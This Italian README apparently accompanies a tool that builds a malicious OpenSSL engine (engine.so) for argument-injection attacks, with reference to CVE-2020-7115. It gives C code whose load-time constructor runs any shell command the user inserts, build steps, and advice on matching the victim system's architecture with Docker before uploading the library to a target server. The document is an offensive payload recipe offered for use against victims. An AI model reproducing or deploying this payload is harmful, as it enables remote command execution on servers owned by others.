
Crea il tuo motore malevolo in secondi
Crea il tuo motore malevolo in pochi secondi
Script semplice per generare un motore malevolo pronto per essere utilizzato in scenari di argument injection di openssl.
È molto semplice, basta modificare il file engine.c con il comando che preferisci:
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "COMMAND");
}
Dopo aver fatto ciò, devi solo eseguire lo script in questo modo:
bash build_engine.sh
Questo comando creerà una cartella chiamata output, al suo interno troverai un file chiamato engine.so che è quello che dovrai inviare al server tramite una funzionalità di upload di file.
È importante che tu sappia che devi creare il motore malevolo con le stesse caratteristiche del sistema vittima. Cioè... se il sistema target è in esecuzione su un linux a 64 bit, devi creare il motore malevolo su un linux a 64 bit.
Docker è una tecnologia fantastica per questo tipo di cose, e configurare il tuo ambiente è molto semplice.
Per prima cosa scarichiamo l'immagine docker da questo sito per un sistema debian linux a 64 bit:
sudo docker pull debian
Quindi avvieremo il docker come segue:
sudo docker run -v `pwd`:/code -it debian
Cerchiamo di capire un po' cosa abbiamo fatto qui. Il flag -v viene utilizzato per creare un volume, in questo caso stiamo associando il contenuto della cartella /code con il contenuto della nostra cartella corrente, da qui l'uso di pwd.
Con associazione intendo che tutto ciò che creiamo o modifichiamo in /code (cartella che si trova nella radice dell'immagine docker), lo avremo e lo vedremo in pwd e viceversa.
Nel nostro caso, pwd punta alla seguente directory sulla nostra macchina locale:
/home/retr0/CVE-2020-7115/
Il flag -it, invece, può essere interpretato come segue:
Il flag -t (--tty) dice a Docker di mappare una sessione di terminale virtuale all'interno del contenitore. Questo viene comunemente usato con l'opzione -i (--interactive), che mantiene STDIN aperto anche se eseguito in modalità detached.
Quindi, di fatto, usare il flag -it è utile quando vogliamo ottenere una shell dal contenitore in questione.
Nessun problema, basta visitare questo post, e sono sicuro che capirai appieno questa vulnerabilità.